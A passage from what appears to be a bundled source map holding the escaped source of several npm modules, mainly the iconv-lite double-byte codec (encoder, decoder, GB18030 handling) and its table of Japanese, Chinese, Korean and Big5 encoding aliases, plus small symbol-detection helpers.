accessor\n\t\t\t\t// property to emulate a data property that does not suffer from\n\t\t\t\t// the override mistake, that accessor's getter is marked with\n\t\t\t\t// an `originalValue` property. Here, when we detect this, we\n\t\t\t\t// uphold the illusion by pretending to see that original data\n\t\t\t\t// property, i.e., returning the value rather than the getter\n\t\t\t\t// itself.\n\t\t\t\tif (isOwn && 'get' in desc && !('originalValue' in desc.get)) {\n\t\t\t\t\tvalue = desc.get;\n\t\t\t\t} else {\n\t\t\t\t\tvalue = value[part];\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tisOwn = hasOwn(value, part);\n\t\t\t\tvalue = value[part];\n\t\t\t}\n\n\t\t\tif (isOwn && !skipFurtherCaching) {\n\t\t\t\tINTRINSICS[intrinsicRealName] = value;\n\t\t\t}\n\t\t}\n\t}\n\treturn value;\n};\n","'use strict';\n\nvar origSymbol = typeof Symbol !== 'undefined' && Symbol;\nvar hasSymbolSham = require('./shams');\n\nmodule.exports = function hasNativeSymbols() {\n\tif (typeof origSymbol !== 'function') { return false; }\n\tif (typeof Symbol !== 'function') { return false; }\n\tif (typeof origSymbol('foo') !== 'symbol') { return false; }\n\tif (typeof Symbol('bar') !== 'symbol') { return false; }\n\n\treturn hasSymbolSham();\n};\n","'use strict';\n\n/* eslint complexity: [2, 18], max-statements: [2, 33] */\nmodule.exports = function hasSymbols() {\n\tif (typeof Symbol !== 'function' || typeof Object.getOwnPropertySymbols !== 'function') { return false; }\n\tif (typeof Symbol.iterator === 'symbol') { return true; }\n\n\tvar obj = {};\n\tvar sym = Symbol('test');\n\tvar symObj = Object(sym);\n\tif (typeof sym === 'string') { return false; }\n\n\tif (Object.prototype.toString.call(sym) !== '[object Symbol]') { return false; }\n\tif (Object.prototype.toString.call(symObj) !== '[object Symbol]') { return false; }\n\n\t// temp disabled per https://github.com/ljharb/object.assign/issues/17\n\t// if (sym instanceof Symbol) { return false; }\n\t// temp disabled per https://github.com/WebReflection/get-own-property-symbols/issues/4\n\t// if (!(symObj instanceof Symbol)) { return false; }\n\n\t// if (typeof Symbol.prototype.toString !== 'function') { return false; }\n\t// if (String(sym) !== Symbol.prototype.toString.call(sym)) { return false; }\n\n\tvar symVal = 42;\n\tobj[sym] = symVal;\n\tfor (sym in obj) { return false; } // eslint-disable-line no-restricted-syntax, no-unreachable-loop\n\tif (typeof Object.keys === 'function' && Object.keys(obj).length !== 0) { return false; }\n\n\tif (typeof Object.getOwnPropertyNames === 'function' && Object.getOwnPropertyNames(obj).length !== 0) { return false; }\n\n\tvar syms = Object.getOwnPropertySymbols(obj);\n\tif (syms.length !== 1 || syms[0] !== sym) { return false; }\n\n\tif (!Object.prototype.propertyIsEnumerable.call(obj, sym)) { return false; }\n\n\tif (typeof Object.getOwnPropertyDescriptor === 'function') {\n\t\tvar descriptor = Object.getOwnPropertyDescriptor(obj, sym);\n\t\tif (descriptor.value !== symVal || descriptor.enumerable !== true) { return false; }\n\t}\n\n\treturn true;\n};\n","'use strict';\n\nvar hasSymbols = require('has-symbols/shams');\n\nmodule.exports = function hasToStringTagShams() {\n\treturn hasSymbols() && !!Symbol.toStringTag;\n};\n","'use strict';\n\nvar bind = require('function-bind');\n\nmodule.exports = bind.call(Function.call, Object.prototype.hasOwnProperty);\n","\"use strict\";\nvar Buffer = require(\"safer-buffer\").Buffer;\n\n// Multibyte codec. In this scheme, a character is represented by 1 or more bytes.\n// Our codec supports UTF-16 surrogates, extensions for GB18030 and unicode sequences.\n// To save memory and loading time, we read table files only when requested.\n\nexports._dbcs = DBCSCodec;\n\nvar UNASSIGNED = -1,\n GB18030_CODE = -2,\n SEQ_START = -10,\n NODE_START = -1000,\n UNASSIGNED_NODE = new Array(0x100),\n DEF_CHAR = -1;\n\nfor (var i = 0; i < 0x100; i++)\n UNASSIGNED_NODE[i] = UNASSIGNED;\n\n\n// Class DBCSCodec reads and initializes mapping tables.\nfunction DBCSCodec(codecOptions, iconv) {\n this.encodingName = codecOptions.encodingName;\n if (!codecOptions)\n throw new Error(\"DBCS codec is called without the data.\")\n if (!codecOptions.table)\n throw new Error(\"Encoding '\" + this.encodingName + \"' has no data.\");\n\n // Load tables.\n var mappingTable = codecOptions.table();\n\n\n // Decode tables: MBCS -> Unicode.\n\n // decodeTables is a trie, encoded as an array of arrays of integers. Internal arrays are trie nodes and all have len = 256.\n // Trie root is decodeTables[0].\n // Values: >= 0 -> unicode character code. can be > 0xFFFF\n // == UNASSIGNED -> unknown/unassigned sequence.\n // == GB18030_CODE -> this is the end of a GB18030 4-byte sequence.\n // <= NODE_START -> index of the next node in our trie to process next byte.\n // <= SEQ_START -> index of the start of a character code sequence, in decodeTableSeq.\n this.decodeTables = [];\n this.decodeTables[0] = UNASSIGNED_NODE.slice(0); // Create root node.\n\n // Sometimes a MBCS char corresponds to a sequence of unicode chars. We store them as arrays of integers here. \n this.decodeTableSeq = [];\n\n // Actual mapping tables consist of chunks. Use them to fill up decode tables.\n for (var i = 0; i < mappingTable.length; i++)\n this._addDecodeChunk(mappingTable[i]);\n\n // Load & create GB18030 tables when needed.\n if (typeof codecOptions.gb18030 === 'function') {\n this.gb18030 = codecOptions.gb18030(); // Load GB18030 ranges.\n\n // Add GB18030 common decode nodes.\n var commonThirdByteNodeIdx = this.decodeTables.length;\n this.decodeTables.push(UNASSIGNED_NODE.slice(0));\n\n var commonFourthByteNodeIdx = this.decodeTables.length;\n this.decodeTables.push(UNASSIGNED_NODE.slice(0));\n\n // Fill out the tree\n var firstByteNode = this.decodeTables[0];\n for (var i = 0x81; i <= 0xFE; i++) {\n var secondByteNode = this.decodeTables[NODE_START - firstByteNode[i]];\n for (var j = 0x30; j <= 0x39; j++) {\n if (secondByteNode[j] === UNASSIGNED) {\n secondByteNode[j] = NODE_START - commonThirdByteNodeIdx;\n } else if (secondByteNode[j] > NODE_START) {\n throw new Error(\"gb18030 decode tables conflict at byte 2\");\n }\n\n var thirdByteNode = this.decodeTables[NODE_START - secondByteNode[j]];\n for (var k = 0x81; k <= 0xFE; k++) {\n if (thirdByteNode[k] === UNASSIGNED) {\n thirdByteNode[k] = NODE_START - commonFourthByteNodeIdx;\n } else if (thirdByteNode[k] === NODE_START - commonFourthByteNodeIdx) {\n continue;\n } else if (thirdByteNode[k] > NODE_START) {\n throw new Error(\"gb18030 decode tables conflict at byte 3\");\n }\n\n var fourthByteNode = this.decodeTables[NODE_START - thirdByteNode[k]];\n for (var l = 0x30; l <= 0x39; l++) {\n if (fourthByteNode[l] === UNASSIGNED)\n fourthByteNode[l] = GB18030_CODE;\n }\n }\n }\n }\n }\n\n this.defaultCharUnicode = iconv.defaultCharUnicode;\n\n \n // Encode tables: Unicode -> DBCS.\n\n // `encodeTable` is array mapping from unicode char to encoded char. All its values are integers for performance.\n // Because it can be sparse, it is represented as array of buckets by 256 chars each. Bucket can be null.\n // Values: >= 0 -> it is a normal char. Write the value (if <=256 then 1 byte, if <=65536 then 2 bytes, etc.).\n // == UNASSIGNED -> no conversion found. Output a default char.\n // <= SEQ_START -> it's an index in encodeTableSeq, see below. The character starts a sequence.\n this.encodeTable = [];\n \n // `encodeTableSeq` is used when a sequence of unicode characters is encoded as a single code. We use a tree of\n // objects where keys correspond to characters in sequence and leafs are the encoded dbcs values. A special DEF_CHAR key\n // means end of sequence (needed when one sequence is a strict subsequence of another).\n // Objects are kept separately from encodeTable to increase performance.\n this.encodeTableSeq = [];\n\n // Some chars can be decoded, but need not be encoded.\n var skipEncodeChars = {};\n if (codecOptions.encodeSkipVals)\n for (var i = 0; i < codecOptions.encodeSkipVals.length; i++) {\n var val = codecOptions.encodeSkipVals[i];\n if (typeof val === 'number')\n skipEncodeChars[val] = true;\n else\n for (var j = val.from; j <= val.to; j++)\n skipEncodeChars[j] = true;\n }\n \n // Use decode trie to recursively fill out encode tables.\n this._fillEncodeTable(0, 0, skipEncodeChars);\n\n // Add more encoding pairs when needed.\n if (codecOptions.encodeAdd) {\n for (var uChar in codecOptions.encodeAdd)\n if (Object.prototype.hasOwnProperty.call(codecOptions.encodeAdd, uChar))\n this._setEncodeChar(uChar.charCodeAt(0), codecOptions.encodeAdd[uChar]);\n }\n\n this.defCharSB = this.encodeTable[0][iconv.defaultCharSingleByte.charCodeAt(0)];\n if (this.defCharSB === UNASSIGNED) this.defCharSB = this.encodeTable[0]['?'];\n if (this.defCharSB === UNASSIGNED) this.defCharSB = \"?\".charCodeAt(0);\n}\n\nDBCSCodec.prototype.encoder = DBCSEncoder;\nDBCSCodec.prototype.decoder = DBCSDecoder;\n\n// Decoder helpers\nDBCSCodec.prototype._getDecodeTrieNode = function(addr) {\n var bytes = [];\n for (; addr > 0; addr >>>= 8)\n bytes.push(addr & 0xFF);\n if (bytes.length == 0)\n bytes.push(0);\n\n var node = this.decodeTables[0];\n for (var i = bytes.length-1; i > 0; i--) { // Traverse nodes deeper into the trie.\n var val = node[bytes[i]];\n\n if (val == UNASSIGNED) { // Create new node.\n node[bytes[i]] = NODE_START - this.decodeTables.length;\n this.decodeTables.push(node = UNASSIGNED_NODE.slice(0));\n }\n else if (val <= NODE_START) { // Existing node.\n node = this.decodeTables[NODE_START - val];\n }\n else\n throw new Error(\"Overwrite byte in \" + this.encodingName + \", addr: \" + addr.toString(16));\n }\n return node;\n}\n\n\nDBCSCodec.prototype._addDecodeChunk = function(chunk) {\n // First element of chunk is the hex mbcs code where we start.\n var curAddr = parseInt(chunk[0], 16);\n\n // Choose the decoding node where we'll write our chars.\n var writeTable = this._getDecodeTrieNode(curAddr);\n curAddr = curAddr & 0xFF;\n\n // Write all other elements of the chunk to the table.\n for (var k = 1; k < chunk.length; k++) {\n var part = chunk[k];\n if (typeof part === \"string\") { // String, write as-is.\n for (var l = 0; l < part.length;) {\n var code = part.charCodeAt(l++);\n if (0xD800 <= code && code < 0xDC00) { // Decode surrogate\n var codeTrail = part.charCodeAt(l++);\n if (0xDC00 <= codeTrail && codeTrail < 0xE000)\n writeTable[curAddr++] = 0x10000 + (code - 0xD800) * 0x400 + (codeTrail - 0xDC00);\n else\n throw new Error(\"Incorrect surrogate pair in \" + this.encodingName + \" at chunk \" + chunk[0]);\n }\n else if (0x0FF0 < code && code <= 0x0FFF) { // Character sequence (our own encoding used)\n var len = 0xFFF - code + 2;\n var seq = [];\n for (var m = 0; m < len; m++)\n seq.push(part.charCodeAt(l++)); // Simple variation: don't support surrogates or subsequences in seq.\n\n writeTable[curAddr++] = SEQ_START - this.decodeTableSeq.length;\n this.decodeTableSeq.push(seq);\n }\n else\n writeTable[curAddr++] = code; // Basic char\n }\n } \n else if (typeof part === \"number\") { // Integer, meaning increasing sequence starting with prev character.\n var charCode = writeTable[curAddr - 1] + 1;\n for (var l = 0; l < part; l++)\n writeTable[curAddr++] = charCode++;\n }\n else\n throw new Error(\"Incorrect type '\" + typeof part + \"' given in \" + this.encodingName + \" at chunk \" + chunk[0]);\n }\n if (curAddr > 0xFF)\n throw new Error(\"Incorrect chunk in \" + this.encodingName + \" at addr \" + chunk[0] + \": too long\" + curAddr);\n}\n\n// Encoder helpers\nDBCSCodec.prototype._getEncodeBucket = function(uCode) {\n var high = uCode >> 8; // This could be > 0xFF because of astral characters.\n if (this.encodeTable[high] === undefined)\n this.encodeTable[high] = UNASSIGNED_NODE.slice(0); // Create bucket on demand.\n return this.encodeTable[high];\n}\n\nDBCSCodec.prototype._setEncodeChar = function(uCode, dbcsCode) {\n var bucket = this._getEncodeBucket(uCode);\n var low = uCode & 0xFF;\n if (bucket[low] <= SEQ_START)\n this.encodeTableSeq[SEQ_START-bucket[low]][DEF_CHAR] = dbcsCode; // There's already a sequence, set a single-char subsequence of it.\n else if (bucket[low] == UNASSIGNED)\n bucket[low] = dbcsCode;\n}\n\nDBCSCodec.prototype._setEncodeSequence = function(seq, dbcsCode) {\n \n // Get the root of character tree according to first character of the sequence.\n var uCode = seq[0];\n var bucket = this._getEncodeBucket(uCode);\n var low = uCode & 0xFF;\n\n var node;\n if (bucket[low] <= SEQ_START) {\n // There's already a sequence with - use it.\n node = this.encodeTableSeq[SEQ_START-bucket[low]];\n }\n else {\n // There was no sequence object - allocate a new one.\n node = {};\n if (bucket[low] !== UNASSIGNED) node[DEF_CHAR] = bucket[low]; // If a char was set before - make it a single-char subsequence.\n bucket[low] = SEQ_START - this.encodeTableSeq.length;\n this.encodeTableSeq.push(node);\n }\n\n // Traverse the character tree, allocating new nodes as needed.\n for (var j = 1; j < seq.length-1; j++) {\n var oldVal = node[uCode];\n if (typeof oldVal === 'object')\n node = oldVal;\n else {\n node = node[uCode] = {}\n if (oldVal !== undefined)\n node[DEF_CHAR] = oldVal\n }\n }\n\n // Set the leaf to given dbcsCode.\n uCode = seq[seq.length-1];\n node[uCode] = dbcsCode;\n}\n\nDBCSCodec.prototype._fillEncodeTable = function(nodeIdx, prefix, skipEncodeChars) {\n var node = this.decodeTables[nodeIdx];\n var hasValues = false;\n var subNodeEmpty = {};\n for (var i = 0; i < 0x100; i++) {\n var uCode = node[i];\n var mbCode = prefix + i;\n if (skipEncodeChars[mbCode])\n continue;\n\n if (uCode >= 0) {\n this._setEncodeChar(uCode, mbCode);\n hasValues = true;\n } else if (uCode <= NODE_START) {\n var subNodeIdx = NODE_START - uCode;\n if (!subNodeEmpty[subNodeIdx]) { // Skip empty subtrees (they are too large in gb18030).\n var newPrefix = (mbCode << 8) >>> 0; // NOTE: '>>> 0' keeps 32-bit num positive.\n if (this._fillEncodeTable(subNodeIdx, newPrefix, skipEncodeChars))\n hasValues = true;\n else\n subNodeEmpty[subNodeIdx] = true;\n }\n } else if (uCode <= SEQ_START) {\n this._setEncodeSequence(this.decodeTableSeq[SEQ_START - uCode], mbCode);\n hasValues = true;\n }\n }\n return hasValues;\n}\n\n\n\n// == Encoder ==================================================================\n\nfunction DBCSEncoder(options, codec) {\n // Encoder state\n this.leadSurrogate = -1;\n this.seqObj = undefined;\n \n // Static data\n this.encodeTable = codec.encodeTable;\n this.encodeTableSeq = codec.encodeTableSeq;\n this.defaultCharSingleByte = codec.defCharSB;\n this.gb18030 = codec.gb18030;\n}\n\nDBCSEncoder.prototype.write = function(str) {\n var newBuf = Buffer.alloc(str.length * (this.gb18030 ? 4 : 3)),\n leadSurrogate = this.leadSurrogate,\n seqObj = this.seqObj, nextChar = -1,\n i = 0, j = 0;\n\n while (true) {\n // 0. Get next character.\n if (nextChar === -1) {\n if (i == str.length) break;\n var uCode = str.charCodeAt(i++);\n }\n else {\n var uCode = nextChar;\n nextChar = -1; \n }\n\n // 1. Handle surrogates.\n if (0xD800 <= uCode && uCode < 0xE000) { // Char is one of surrogates.\n if (uCode < 0xDC00) { // We've got lead surrogate.\n if (leadSurrogate === -1) {\n leadSurrogate = uCode;\n continue;\n } else {\n leadSurrogate = uCode;\n // Double lead surrogate found.\n uCode = UNASSIGNED;\n }\n } else { // We've got trail surrogate.\n if (leadSurrogate !== -1) {\n uCode = 0x10000 + (leadSurrogate - 0xD800) * 0x400 + (uCode - 0xDC00);\n leadSurrogate = -1;\n } else {\n // Incomplete surrogate pair - only trail surrogate found.\n uCode = UNASSIGNED;\n }\n \n }\n }\n else if (leadSurrogate !== -1) {\n // Incomplete surrogate pair - only lead surrogate found.\n nextChar = uCode; uCode = UNASSIGNED; // Write an error, then current char.\n leadSurrogate = -1;\n }\n\n // 2. Convert uCode character.\n var dbcsCode = UNASSIGNED;\n if (seqObj !== undefined && uCode != UNASSIGNED) { // We are in the middle of the sequence\n var resCode = seqObj[uCode];\n if (typeof resCode === 'object') { // Sequence continues.\n seqObj = resCode;\n continue;\n\n } else if (typeof resCode == 'number') { // Sequence finished. Write it.\n dbcsCode = resCode;\n\n } else if (resCode == undefined) { // Current character is not part of the sequence.\n\n // Try default character for this sequence\n resCode = seqObj[DEF_CHAR];\n if (resCode !== undefined) {\n dbcsCode = resCode; // Found. Write it.\n nextChar = uCode; // Current character will be written too in the next iteration.\n\n } else {\n // TODO: What if we have no default? (resCode == undefined)\n // Then, we should write first char of the sequence as-is and try the rest recursively.\n // Didn't do it for now because no encoding has this situation yet.\n // Currently, just skip the sequence and write current char.\n }\n }\n seqObj = undefined;\n }\n else if (uCode >= 0) { // Regular character\n var subtable = this.encodeTable[uCode >> 8];\n if (subtable !== undefined)\n dbcsCode = subtable[uCode & 0xFF];\n \n if (dbcsCode <= SEQ_START) { // Sequence start\n seqObj = this.encodeTableSeq[SEQ_START-dbcsCode];\n continue;\n }\n\n if (dbcsCode == UNASSIGNED && this.gb18030) {\n // Use GB18030 algorithm to find character(s) to write.\n var idx = findIdx(this.gb18030.uChars, uCode);\n if (idx != -1) {\n var dbcsCode = this.gb18030.gbChars[idx] + (uCode - this.gb18030.uChars[idx]);\n newBuf[j++] = 0x81 + Math.floor(dbcsCode / 12600); dbcsCode = dbcsCode % 12600;\n newBuf[j++] = 0x30 + Math.floor(dbcsCode / 1260); dbcsCode = dbcsCode % 1260;\n newBuf[j++] = 0x81 + Math.floor(dbcsCode / 10); dbcsCode = dbcsCode % 10;\n newBuf[j++] = 0x30 + dbcsCode;\n continue;\n }\n }\n }\n\n // 3. Write dbcsCode character.\n if (dbcsCode === UNASSIGNED)\n dbcsCode = this.defaultCharSingleByte;\n \n if (dbcsCode < 0x100) {\n newBuf[j++] = dbcsCode;\n }\n else if (dbcsCode < 0x10000) {\n newBuf[j++] = dbcsCode >> 8; // high byte\n newBuf[j++] = dbcsCode & 0xFF; // low byte\n }\n else if (dbcsCode < 0x1000000) {\n newBuf[j++] = dbcsCode >> 16;\n newBuf[j++] = (dbcsCode >> 8) & 0xFF;\n newBuf[j++] = dbcsCode & 0xFF;\n } else {\n newBuf[j++] = dbcsCode >>> 24;\n newBuf[j++] = (dbcsCode >>> 16) & 0xFF;\n newBuf[j++] = (dbcsCode >>> 8) & 0xFF;\n newBuf[j++] = dbcsCode & 0xFF;\n }\n }\n\n this.seqObj = seqObj;\n this.leadSurrogate = leadSurrogate;\n return newBuf.slice(0, j);\n}\n\nDBCSEncoder.prototype.end = function() {\n if (this.leadSurrogate === -1 && this.seqObj === undefined)\n return; // All clean. Most often case.\n\n var newBuf = Buffer.alloc(10), j = 0;\n\n if (this.seqObj) { // We're in the sequence.\n var dbcsCode = this.seqObj[DEF_CHAR];\n if (dbcsCode !== undefined) { // Write beginning of the sequence.\n if (dbcsCode < 0x100) {\n newBuf[j++] = dbcsCode;\n }\n else {\n newBuf[j++] = dbcsCode >> 8; // high byte\n newBuf[j++] = dbcsCode & 0xFF; // low byte\n }\n } else {\n // See todo above.\n }\n this.seqObj = undefined;\n }\n\n if (this.leadSurrogate !== -1) {\n // Incomplete surrogate pair - only lead surrogate found.\n newBuf[j++] = this.defaultCharSingleByte;\n this.leadSurrogate = -1;\n }\n \n return newBuf.slice(0, j);\n}\n\n// Export for testing\nDBCSEncoder.prototype.findIdx = findIdx;\n\n\n// == Decoder ==================================================================\n\nfunction DBCSDecoder(options, codec) {\n // Decoder state\n this.nodeIdx = 0;\n this.prevBytes = [];\n\n // Static data\n this.decodeTables = codec.decodeTables;\n this.decodeTableSeq = codec.decodeTableSeq;\n this.defaultCharUnicode = codec.defaultCharUnicode;\n this.gb18030 = codec.gb18030;\n}\n\nDBCSDecoder.prototype.write = function(buf) {\n var newBuf = Buffer.alloc(buf.length*2),\n nodeIdx = this.nodeIdx, \n prevBytes = this.prevBytes, prevOffset = this.prevBytes.length,\n seqStart = -this.prevBytes.length, // idx of the start of current parsed sequence.\n uCode;\n\n for (var i = 0, j = 0; i < buf.length; i++) {\n var curByte = (i >= 0) ? buf[i] : prevBytes[i + prevOffset];\n\n // Lookup in current trie node.\n var uCode = this.decodeTables[nodeIdx][curByte];\n\n if (uCode >= 0) { \n // Normal character, just use it.\n }\n else if (uCode === UNASSIGNED) { // Unknown char.\n // TODO: Callback with seq.\n uCode = this.defaultCharUnicode.charCodeAt(0);\n i = seqStart; // Skip one byte ('i' will be incremented by the for loop) and try to parse again.\n }\n else if (uCode === GB18030_CODE) {\n if (i >= 3) {\n var ptr = (buf[i-3]-0x81)*12600 + (buf[i-2]-0x30)*1260 + (buf[i-1]-0x81)*10 + (curByte-0x30);\n } else {\n var ptr = (prevBytes[i-3+prevOffset]-0x81)*12600 + \n (((i-2 >= 0) ? buf[i-2] : prevBytes[i-2+prevOffset])-0x30)*1260 + \n (((i-1 >= 0) ? buf[i-1] : prevBytes[i-1+prevOffset])-0x81)*10 + \n (curByte-0x30);\n }\n var idx = findIdx(this.gb18030.gbChars, ptr);\n uCode = this.gb18030.uChars[idx] + ptr - this.gb18030.gbChars[idx];\n }\n else if (uCode <= NODE_START) { // Go to next trie node.\n nodeIdx = NODE_START - uCode;\n continue;\n }\n else if (uCode <= SEQ_START) { // Output a sequence of chars.\n var seq = this.decodeTableSeq[SEQ_START - uCode];\n for (var k = 0; k < seq.length - 1; k++) {\n uCode = seq[k];\n newBuf[j++] = uCode & 0xFF;\n newBuf[j++] = uCode >> 8;\n }\n uCode = seq[seq.length-1];\n }\n else\n throw new Error(\"iconv-lite internal error: invalid decoding table value \" + uCode + \" at \" + nodeIdx + \"/\" + curByte);\n\n // Write the character to buffer, handling higher planes using surrogate pair.\n if (uCode >= 0x10000) { \n uCode -= 0x10000;\n var uCodeLead = 0xD800 | (uCode >> 10);\n newBuf[j++] = uCodeLead & 0xFF;\n newBuf[j++] = uCodeLead >> 8;\n\n uCode = 0xDC00 | (uCode & 0x3FF);\n }\n newBuf[j++] = uCode & 0xFF;\n newBuf[j++] = uCode >> 8;\n\n // Reset trie node.\n nodeIdx = 0; seqStart = i+1;\n }\n\n this.nodeIdx = nodeIdx;\n this.prevBytes = (seqStart >= 0)\n ? Array.prototype.slice.call(buf, seqStart)\n : prevBytes.slice(seqStart + prevOffset).concat(Array.prototype.slice.call(buf));\n\n return newBuf.slice(0, j).toString('ucs2');\n}\n\nDBCSDecoder.prototype.end = function() {\n var ret = '';\n\n // Try to parse all remaining chars.\n while (this.prevBytes.length > 0) {\n // Skip 1 character in the buffer.\n ret += this.defaultCharUnicode;\n var bytesArr = this.prevBytes.slice(1);\n\n // Parse remaining as usual.\n this.prevBytes = [];\n this.nodeIdx = 0;\n if (bytesArr.length > 0)\n ret += this.write(bytesArr);\n }\n\n this.prevBytes = [];\n this.nodeIdx = 0;\n return ret;\n}\n\n// Binary search for GB18030. Returns largest i such that table[i] <= val.\nfunction findIdx(table, val) {\n if (table[0] > val)\n return -1;\n\n var l = 0, r = table.length;\n while (l < r-1) { // always table[l] <= val < table[r]\n var mid = l + ((r-l+1) >> 1);\n if (table[mid] <= val)\n l = mid;\n else\n r = mid;\n }\n return l;\n}\n\n","\"use strict\";\n\n// Description of supported double byte encodings and aliases.\n// Tables are not require()-d until they are needed to speed up library load.\n// require()-s are direct to support Browserify.\n\nmodule.exports = {\n \n // == Japanese/ShiftJIS ====================================================\n // All japanese encodings are based on JIS X set of standards:\n // JIS X 0201 - Single-byte encoding of ASCII + ¥ + Kana chars at 0xA1-0xDF.\n // JIS X 0208 - Main set of 6879 characters, placed in 94x94 plane, to be encoded by 2 bytes. \n // Has several variations in 1978, 1983, 1990 and 1997.\n // JIS X 0212 - Supplementary plane of 6067 chars in 94x94 plane. 1990. Effectively dead.\n // JIS X 0213 - Extension and modern replacement of 0208 and 0212. Total chars: 11233.\n // 2 planes, first is superset of 0208, second - revised 0212.\n // Introduced in 2000, revised 2004. Some characters are in Unicode Plane 2 (0x2xxxx)\n\n // Byte encodings are:\n // * Shift_JIS: Compatible with 0201, uses not defined chars in top half as lead bytes for double-byte\n // encoding of 0208. Lead byte ranges: 0x81-0x9F, 0xE0-0xEF; Trail byte ranges: 0x40-0x7E, 0x80-0x9E, 0x9F-0xFC.\n // Windows CP932 is a superset of Shift_JIS. Some companies added more chars, notably KDDI.\n // * EUC-JP: Up to 3 bytes per character. Used mostly on *nixes.\n // 0x00-0x7F - lower part of 0201\n // 0x8E, 0xA1-0xDF - upper part of 0201\n // (0xA1-0xFE)x2 - 0208 plane (94x94).\n // 0x8F, (0xA1-0xFE)x2 - 0212 plane (94x94).\n // * JIS X 208: 7-bit, direct encoding of 0208. Byte ranges: 0x21-0x7E (94 values). Uncommon.\n // Used as-is in ISO2022 family.\n // * ISO2022-JP: Stateful encoding, with escape sequences to switch between ASCII, \n // 0201-1976 Roman, 0208-1978, 0208-1983.\n // * ISO2022-JP-1: Adds esc seq for 0212-1990.\n // * ISO2022-JP-2: Adds esc seq for GB2313-1980, KSX1001-1992, ISO8859-1, ISO8859-7.\n // * ISO2022-JP-3: Adds esc seq for 0201-1976 Kana set, 0213-2000 Planes 1, 2.\n // * ISO2022-JP-2004: Adds 0213-2004 Plane 1.\n //\n // After JIS X 0213 appeared, Shift_JIS-2004, EUC-JISX0213 and ISO2022-JP-2004 followed, with just changing the planes.\n //\n // Overall, it seems that it's a mess :( http://www8.plala.or.jp/tkubota1/unicode-symbols-map2.html\n\n 'shiftjis': {\n type: '_dbcs',\n table: function() { return require('./tables/shiftjis.json') },\n encodeAdd: {'\\u00a5': 0x5C, '\\u203E': 0x7E},\n encodeSkipVals: [{from: 0xED40, to: 0xF940}],\n },\n 'csshiftjis': 'shiftjis',\n 'mskanji': 'shiftjis',\n 'sjis': 'shiftjis',\n 'windows31j': 'shiftjis',\n 'ms31j': 'shiftjis',\n 'xsjis': 'shiftjis',\n 'windows932': 'shiftjis',\n 'ms932': 'shiftjis',\n '932': 'shiftjis',\n 'cp932': 'shiftjis',\n\n 'eucjp': {\n type: '_dbcs',\n table: function() { return require('./tables/eucjp.json') },\n encodeAdd: {'\\u00a5': 0x5C, '\\u203E': 0x7E},\n },\n\n // TODO: KDDI extension to Shift_JIS\n // TODO: IBM CCSID 942 = CP932, but F0-F9 custom chars and other char changes.\n // TODO: IBM CCSID 943 = Shift_JIS = CP932 with original Shift_JIS lower 128 chars.\n\n\n // == Chinese/GBK ==========================================================\n // http://en.wikipedia.org/wiki/GBK\n // We mostly implement W3C recommendation: https://www.w3.org/TR/encoding/#gbk-encoder\n\n // Oldest GB2312 (1981, ~7600 chars) is a subset of CP936\n 'gb2312': 'cp936',\n 'gb231280': 'cp936',\n 'gb23121980': 'cp936',\n 'csgb2312': 'cp936',\n 'csiso58gb231280': 'cp936',\n 'euccn': 'cp936',\n\n // Microsoft's CP936 is a subset and approximation of GBK.\n 'windows936': 'cp936',\n 'ms936': 'cp936',\n '936': 'cp936',\n 'cp936': {\n type: '_dbcs',\n table: function() { return require('./tables/cp936.json') },\n },\n\n // GBK (~22000 chars) is an extension of CP936 that added user-mapped chars and some other.\n 'gbk': {\n type: '_dbcs',\n table: function() { return require('./tables/cp936.json').concat(require('./tables/gbk-added.json')) },\n },\n 'xgbk': 'gbk',\n 'isoir58': 'gbk',\n\n // GB18030 is an algorithmic extension of GBK.\n // Main source: https://www.w3.org/TR/encoding/#gbk-encoder\n // http://icu-project.org/docs/papers/gb18030.html\n // http://source.icu-project.org/repos/icu/data/trunk/charset/data/xml/gb-18030-2000.xml\n // http://www.khngai.com/chinese/charmap/tblgbk.php?page=0\n 'gb18030': {\n type: '_dbcs',\n table: function() { return require('./tables/cp936.json').concat(require('./tables/gbk-added.json')) },\n gb18030: function() { return require('./tables/gb18030-ranges.json') },\n encodeSkipVals: [0x80],\n encodeAdd: {'€': 0xA2E3},\n },\n\n 'chinese': 'gb18030',\n\n\n // == Korean ===============================================================\n // EUC-KR, KS_C_5601 and KS X 1001 are exactly the same.\n 'windows949': 'cp949',\n 'ms949': 'cp949',\n '949': 'cp949',\n 'cp949': {\n type: '_dbcs',\n table: function() { return require('./tables/cp949.json') },\n },\n\n 'cseuckr': 'cp949',\n 'csksc56011987': 'cp949',\n 'euckr': 'cp949',\n 'isoir149': 'cp949',\n 'korean': 'cp949',\n 'ksc56011987': 'cp949',\n 'ksc56011989': 'cp949',\n 'ksc5601': 'cp949',\n\n\n // == Big5/Taiwan/Hong Kong ================================================\n // There are lots of tables for Big5 and cp950. Please see the following links for history:\n // http://moztw.org/docs/big5/ http://www.haible.de/bruno/charsets/conversion-tables/Big5.html\n // Variations, in roughly number of defined chars:\n // * Windows CP 950: Microsoft variant of Big5. Canonical: http://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WINDOWS/CP950.TXT\n // * Windows CP 951: Microsoft variant of Big5-HKSCS-2001. Seems to be never public. http://me.abelcheung.org/articles/research/what-is-cp951/\n // * Big5-2003 (Taiwan standard) almost superset of cp950.\n // * Unicode-at-on (UAO) / Mozilla 1.8. Falling out of use on the Web. Not supported by other browsers.\n // * Big5-HKSCS (-2001, -2004, -2008). Hong Kong standard. \n // many unicode code points moved from PUA to Supplementary plane (U+2XXXX) over the years.\n // Plus, it has 4 combining sequences.\n // Seems that Mozilla refused to support it for 10 yrs. https://bugzilla.mozilla.org/show_bug.cgi?id=162431 https://bugzilla.mozilla.org/show_bug.cgi?id=310299\n // because big5-hkscs is the only encoding to include astral characters in non-algorithmic way.\n // Implementations are not consistent within browsers; sometimes labeled as just big5.\n // MS Internet Explorer switches from big5 to big5-hkscs when a patch applied.\n // Great discussion & recap of what's going on https://bugzilla.mozilla.org/show_bug.cgi?id=912470#c31\n // In the encoder, it might make sense to support encoding old PUA mappings to Big5 bytes seq-s.\n // Official spec: http://www.ogcio.gov.hk/en/business/tech_promotion/ccli/terms/doc/2003cmp_2008.txt\n // http://www.ogcio.gov.hk/tc/business/tech_promotion/ccli/terms/doc/hkscs-2008-big5-iso.txt\n // \n // Current understanding of how to deal with Big5(-HKSCS) is in the Encoding Standard, http://encoding.spec.whatwg.org/#big5-encoder\n // Unicode mapping (http://www.unicode.org/Public/MAPPINGS/OBSOLETE/EASTASIA/OTHER/BIG5.TXT) is said to be wrong.\n\n 'windows950': 